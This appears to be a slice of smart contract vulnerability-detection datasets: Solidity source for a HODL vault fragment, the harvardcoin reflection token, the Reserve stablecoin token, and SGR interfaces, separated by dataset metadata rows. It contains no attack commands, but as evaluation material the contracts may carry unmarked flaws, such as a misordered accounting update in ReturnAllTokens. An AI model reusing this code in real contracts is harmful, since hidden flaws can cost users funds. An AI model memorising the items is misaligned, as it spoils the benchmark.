returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive, address referrer)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive, s.referrer);
}
// Function 06 - Get Tokens Reserved
function GetTokenFees(address tokenAddress) public view returns (uint256 amount) {
return EthereumVault[tokenAddress];
}
// Function 07 - Cashback Code
function CashbackCode(address _cashbackcode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0) {
cashbackcode[msg.sender] = _cashbackcode;
emit onCashbackCode(msg.sender, _cashbackcode);
}
}
// Function 08 - Withdraw Affiliate Bonus
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(user == msg.sender);
uint256 amount = Affiliatevault[msg.sender][tokenAddress];
Affiliatevault[msg.sender][tokenAddress] = 0;
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
}
////////////////////////////////// restricted //////////////////////////////////
// 01 - Add Contract Address
function AddContractAddress(address tokenAddress, bool contractstatus, uint256 _maxcontribution) public restricted {
contractaddress[tokenAddress] = contractstatus;
maxcontribution[tokenAddress] = _maxcontribution;
emit onAddContractAddress(tokenAddress, contractstatus, _maxcontribution);
}
// 02 - Add Maximum Contribution
function AddMaxContribution(address tokenAddress, uint256 _maxcontribution) public restricted {
maxcontribution[tokenAddress] = _maxcontribution;
}
// 03 - Add Retire Hodl
function AddRetireHodl(address tokenAddress, uint256 id) public restricted {
require(tokenAddress != 0x0);
require(id != 0);
RetireHodl(tokenAddress, id);
}
// 04 - Change Hodling Time
function ChangeHodlingTime(uint256 newHodlingDays) restricted public {
require(newHodlingDays >= 180);
hodlingTime = newHodlingDays * 1 days;
}
// 05 - Change Speed Distribution
function ChangeSpeedDistribution(uint256 newSpeed) restricted public {
require(newSpeed <= 12);
percent = newSpeed;
}
// 06 - Withdraw Ethereum Received Through Fallback Function
function WithdrawEth(uint256 amount) restricted public {
require(amount > 0);
require(address(this).balance >= amount);
msg.sender.transfer(amount);
}
// 07 - Withdraw Token Fees
function WithdrawTokenFees(address tokenAddress) restricted public {
require(EthereumVault[tokenAddress] > 0);
uint256 amount = EthereumVault[tokenAddress];
EthereumVault[tokenAddress] = 0;
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
}
// 08 - Return All Tokens To Their Respective Addresses
function ReturnAllTokens(bool onlyABCD) restricted public
{
uint256 returned;
for(uint256 i = 1; i < IDNumber; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if ((onlyABCD && s.tokenAddress == ABCDtoken) ||
!onlyABCD)
{
PayToken(s.user, s.tokenAddress, s.amountbalance);
s.lastwithdraw = s.amountbalance;
s.amountbalance = 0;
s.lasttime = now;
s.tokenreceive = div(mul(s.amount, totalreceive), 100) ;
s.percentagereceive = mul(mul(88, 100), 100000000000000000000) ;
AllPayments[s.tokenAddress] = add(AllPayments[s.tokenAddress], s.amountbalance);
TokenBalance[s.tokenAddress] = 0;
TotalUser--;
returned++;
}
}
}
emit onReturnAll(returned);
}
// SAFE MATH FUNCTIONS //
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 143,077 | 12,073 |
97cbeba98ba9010172811e319b227e01f090afbc15f4e7242169821b66a879cd
| 25,332 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/harvardcoin-0xacce3374597b53f4160a9ef4226449111058cdfb.sol
| 4,476 | 16,547 |
// harvardcoin (HRVD)
// harvardcoin, higher education blockchain
// harvardcoin is a deflationary farming higher education powered currency
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract harvardcoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'harvardcoin';
string private _symbol = 'HRVD';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 180,808 | 12,074 |
73a42900c924339168bdd30e226d1a4002dc246310dcc285ddc3f6ccc802dbe0
| 23,833 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_758.sol
| 3,997 | 16,180 |
pragma solidity 0.5.7;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : dave@akomba.com
// released under Apache 2.0 licence
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _nominatedOwner;
event NewOwnerNominated(address indexed previousOwner, address indexed nominee);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function nominatedOwner() external view returns (address) {
return _nominatedOwner;
}
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(_msgSender() == _owner, "caller is not owner");
}
function nominateNewOwner(address newOwner) external onlyOwner {
require(newOwner != address(0), "new owner is 0 address");
emit NewOwnerNominated(_owner, newOwner);
_nominatedOwner = newOwner;
}
function acceptOwnership() external {
require(_nominatedOwner == _msgSender(), "unauthorized");
emit OwnershipTransferred(_owner, _nominatedOwner);
_owner = _nominatedOwner;
}
function renounceOwnership(string calldata declaration) external onlyOwner {
string memory requiredDeclaration = "I hereby renounce ownership of this contract forever.";
require(keccak256(abi.encodePacked(declaration)) ==
keccak256(abi.encodePacked(requiredDeclaration)),
"declaration incorrect");
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ReserveEternalStorage is Ownable {
using SafeMath for uint256;
// ===== auth =====
address public reserveAddress;
event ReserveAddressTransferred(address indexed oldReserveAddress,
address indexed newReserveAddress);
/// On construction, set auth fields.
constructor() public {
reserveAddress = _msgSender();
emit ReserveAddressTransferred(address(0), reserveAddress);
}
/// Only run modified function if sent by `reserveAddress`.
modifier onlyReserveAddress() {
require(_msgSender() == reserveAddress, "onlyReserveAddress");
_;
}
/// Set `reserveAddress`.
function updateReserveAddress(address newReserveAddress) external {
require(newReserveAddress != address(0), "zero address");
require(_msgSender() == reserveAddress || _msgSender() == owner(), "not authorized");
emit ReserveAddressTransferred(reserveAddress, newReserveAddress);
reserveAddress = newReserveAddress;
}
// ===== balance =====
mapping(address => uint256) public balance;
/// Add `value` to `balance[key]`, unless this causes integer overflow.
///
/// @dev This is a slight divergence from the strict Eternal Storage pattern, but it reduces
/// the gas for the by-far most common token usage, it's a *very simple* divergence, and
/// `setBalance` is available anyway.
function addBalance(address key, uint256 value) external onlyReserveAddress {
balance[key] = balance[key].add(value);
}
/// Subtract `value` from `balance[key]`, unless this causes integer underflow.
function subBalance(address key, uint256 value) external onlyReserveAddress {
balance[key] = balance[key].sub(value);
}
/// Set `balance[key]` to `value`.
function setBalance(address key, uint256 value) external onlyReserveAddress {
balance[key] = value;
}
// ===== allowed =====
mapping(address => mapping(address => uint256)) public allowed;
/// Set `to`'s allowance of `from`'s tokens to `value`.
function setAllowed(address from, address to, uint256 value) external onlyReserveAddress {
allowed[from][to] = value;
}
}
interface ITXFee {
function calculateFee(address from, address to, uint256 amount) external returns (uint256);
}
contract Reserve is IERC20, Ownable {
using SafeMath for uint256;
// ==== State ====
// Non-constant-sized data
ReserveEternalStorage internal trustedData;
// TX Fee helper contract
ITXFee public trustedTxFee;
// Basic token data
uint256 public totalSupply;
uint256 public maxSupply;
// Paused data
bool public paused;
// Auth roles
address public minter;
address public pauser;
address public feeRecipient;
// ==== Events, Constants, and Constructor ====
// Auth role change events
event MinterChanged(address indexed newMinter);
event PauserChanged(address indexed newPauser);
event FeeRecipientChanged(address indexed newFeeRecipient);
event MaxSupplyChanged(uint256 indexed newMaxSupply);
event EternalStorageTransferred(address indexed newReserveAddress);
event TxFeeHelperChanged(address indexed newTxFeeHelper);
// Pause events
event Paused(address indexed account);
event Unpaused(address indexed account);
// Basic information as constants
string public constant name = "Reserve";
string public constant symbol = "RSV";
uint8 public constant decimals = 18;
/// Initialize critical fields.
constructor() public {
pauser = msg.sender;
feeRecipient = msg.sender;
// minter defaults to the zero address.
maxSupply = 2 ** 256 - 1;
paused = true;
trustedTxFee = ITXFee(address(0));
trustedData = new ReserveEternalStorage();
trustedData.nominateNewOwner(msg.sender);
}
/// Accessor for eternal storage contract address.
function getEternalStorageAddress() external view returns(address) {
return address(trustedData);
}
// ==== Admin functions ====
/// Modifies a function to only run if sent by `role`.
modifier only(address role) {
require(msg.sender == role, "unauthorized: not role holder");
_;
}
/// Modifies a function to only run if sent by `role` or the contract's `owner`.
modifier onlyOwnerOr(address role) {
require(msg.sender == owner() || msg.sender == role, "unauthorized: not owner or role");
_;
}
/// Change who holds the `minter` role.
function changeMinter(address newMinter) external onlyOwnerOr(minter) {
minter = newMinter;
emit MinterChanged(newMinter);
}
/// Change who holds the `pauser` role.
function changePauser(address newPauser) external onlyOwnerOr(pauser) {
pauser = newPauser;
emit PauserChanged(newPauser);
}
function changeFeeRecipient(address newFeeRecipient) external onlyOwnerOr(feeRecipient) {
feeRecipient = newFeeRecipient;
emit FeeRecipientChanged(newFeeRecipient);
}
/// Make a different address the EternalStorage contract's reserveAddress.
/// This will break this contract, so only do it if you're
/// abandoning this contract, e.g., for an upgrade.
function transferEternalStorage(address newReserveAddress) external onlyOwner isPaused {
require(newReserveAddress != address(0), "zero address");
emit EternalStorageTransferred(newReserveAddress);
trustedData.updateReserveAddress(newReserveAddress);
}
/// Change the contract that helps with transaction fee calculation.
function changeTxFeeHelper(address newTrustedTxFee) external onlyOwner {
trustedTxFee = ITXFee(newTrustedTxFee);
emit TxFeeHelperChanged(newTrustedTxFee);
}
/// Change the maximum supply allowed.
function changeMaxSupply(uint256 newMaxSupply) external onlyOwner {
maxSupply = newMaxSupply;
emit MaxSupplyChanged(newMaxSupply);
}
/// Pause the contract.
function pause() external only(pauser) {
paused = true;
emit Paused(pauser);
}
/// Unpause the contract.
function unpause() external only(pauser) {
paused = false;
emit Unpaused(pauser);
}
/// Modifies a function to run only when the contract is paused.
modifier isPaused() {
require(paused, "contract is not paused");
_;
}
/// Modifies a function to run only when the contract is not paused.
modifier notPaused() {
require(!paused, "contract is paused");
_;
}
// ==== Token transfers, allowances, minting, and burning ====
/// @return how many attoRSV are held by `holder`.
function balanceOf(address holder) external view returns (uint256) {
return trustedData.balance(holder);
}
/// @return how many attoRSV `holder` has allowed `spender` to control.
function allowance(address holder, address spender) external view returns (uint256) {
return trustedData.allowed(holder, spender);
}
/// Transfer `value` attoRSV from `msg.sender` to `to`.
function transfer(address to, uint256 value)
external
notPaused
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value)
external
notPaused
returns (bool)
{
_approve(msg.sender, spender, value);
return true;
}
/// Transfer approved tokens from one address to another.
/// @param from address The address to send tokens from.
/// @param to address The address to send tokens to.
/// @param value uint256 The number of attotokens to send.
function transferFrom(address from, address to, uint256 value)
external
notPaused
returns (bool)
{
_transfer(from, to, value);
_approve(from, msg.sender, trustedData.allowed(from, msg.sender).sub(value));
return true;
}
/// Increase `spender`'s allowance of the sender's tokens.
/// @dev From MonolithDAO Token.sol
/// @param spender The address which will spend the funds.
/// @param addedValue How many attotokens to increase the allowance by.
function increaseAllowance(address spender, uint256 addedValue)
external
notPaused
returns (bool)
{
_approve(msg.sender, spender, trustedData.allowed(msg.sender, spender).add(addedValue));
return true;
}
/// Decrease `spender`'s allowance of the sender's tokens.
/// @dev From MonolithDAO Token.sol
/// @param spender The address which will spend the funds.
/// @param subtractedValue How many attotokens to decrease the allowance by.
function decreaseAllowance(address spender, uint256 subtractedValue)
external
notPaused
returns (bool)
{
_approve(msg.sender,
spender,
trustedData.allowed(msg.sender, spender).sub(subtractedValue));
return true;
}
/// Mint `value` new attotokens to `account`.
function mint(address account, uint256 value)
external
notPaused
only(minter)
{
require(account != address(0), "can't mint to address zero");
totalSupply = totalSupply.add(value);
require(totalSupply < maxSupply, "max supply exceeded");
trustedData.addBalance(account, value);
emit Transfer(address(0), account, value);
}
/// Burn `value` attotokens from `account`, if sender has that much allowance from `account`.
function burnFrom(address account, uint256 value)
external
notPaused
only(minter)
{
_burn(account, value);
_approve(account, msg.sender, trustedData.allowed(account, msg.sender).sub(value));
}
/// @dev Transfer of `value` attotokens from `from` to `to`.
/// Internal; doesn't check permissions.
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "can't transfer to address zero");
trustedData.subBalance(from, value);
uint256 fee = 0;
if (address(trustedTxFee) != address(0)) {
fee = trustedTxFee.calculateFee(from, to, value);
require(fee <= value, "transaction fee out of bounds");
trustedData.addBalance(feeRecipient, fee);
emit Transfer(from, feeRecipient, fee);
}
trustedData.addBalance(to, value.sub(fee));
emit Transfer(from, to, value.sub(fee));
}
/// @dev Burn `value` attotokens from `account`.
/// Internal; doesn't check permissions.
function _burn(address account, uint256 value) internal {
require(account != address(0), "can't burn from address zero");
totalSupply = totalSupply.sub(value);
trustedData.subBalance(account, value);
emit Transfer(account, address(0), value);
}
/// @dev Set `spender`'s allowance on `holder`'s tokens to `value` attotokens.
/// Internal; doesn't check permissions.
function _approve(address holder, address spender, uint256 value) internal {
require(spender != address(0), "spender cannot be address zero");
require(holder != address(0), "holder cannot be address zero");
trustedData.setAllowed(holder, spender, value);
emit Approval(holder, spender, value);
}
}
| 282,815 | 12,075 |
c486e8646b72a999a407ef2f3bcd8da68d9aee205bb55fda833dab80f21a5605
| 17,282 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xaea8e1b6cb5c05d1dac618551c76bcd578ea3524.sol
| 4,511 | 17,010 |
pragma solidity 0.4.25;
interface IPaymentHandler {
function getEthBalance() external view returns (uint256);
function transferEthToSgrHolder(address _to, uint256 _value) external;
}
interface IMintListener {
function mintSgrForSgnHolders(uint256 _value) external;
}
interface ISGRTokenManager {
function exchangeEthForSgr(address _sender, uint256 _ethAmount) external returns (uint256);
function afterExchangeEthForSgr(address _sender, uint256 _ethAmount, uint256 _sgrAmount) external;
function exchangeSgrForEth(address _sender, uint256 _sgrAmount) external returns (uint256);
function afterExchangeSgrForEth(address _sender, uint256 _sgrAmount, uint256 _ethAmount) external returns (bool);
function uponTransfer(address _sender, address _to, uint256 _value) external;
function afterTransfer(address _sender, address _to, uint256 _value, bool _transferResult) external returns (bool);
function uponTransferFrom(address _sender, address _from, address _to, uint256 _value) external;
function afterTransferFrom(address _sender, address _from, address _to, uint256 _value, bool _transferFromResult) external returns (bool);
function uponDeposit(address _sender, uint256 _balance, uint256 _amount) external returns (address, uint256);
function uponWithdraw(address _sender, uint256 _balance) external returns (address, uint256);
function afterWithdraw(address _sender, address _wallet, uint256 _amount, uint256 _priorWithdrawEthBalance, uint256 _afterWithdrawEthBalance) external;
function uponMintSgrForSgnHolders(uint256 _value) external;
function afterMintSgrForSgnHolders(uint256 _value) external;
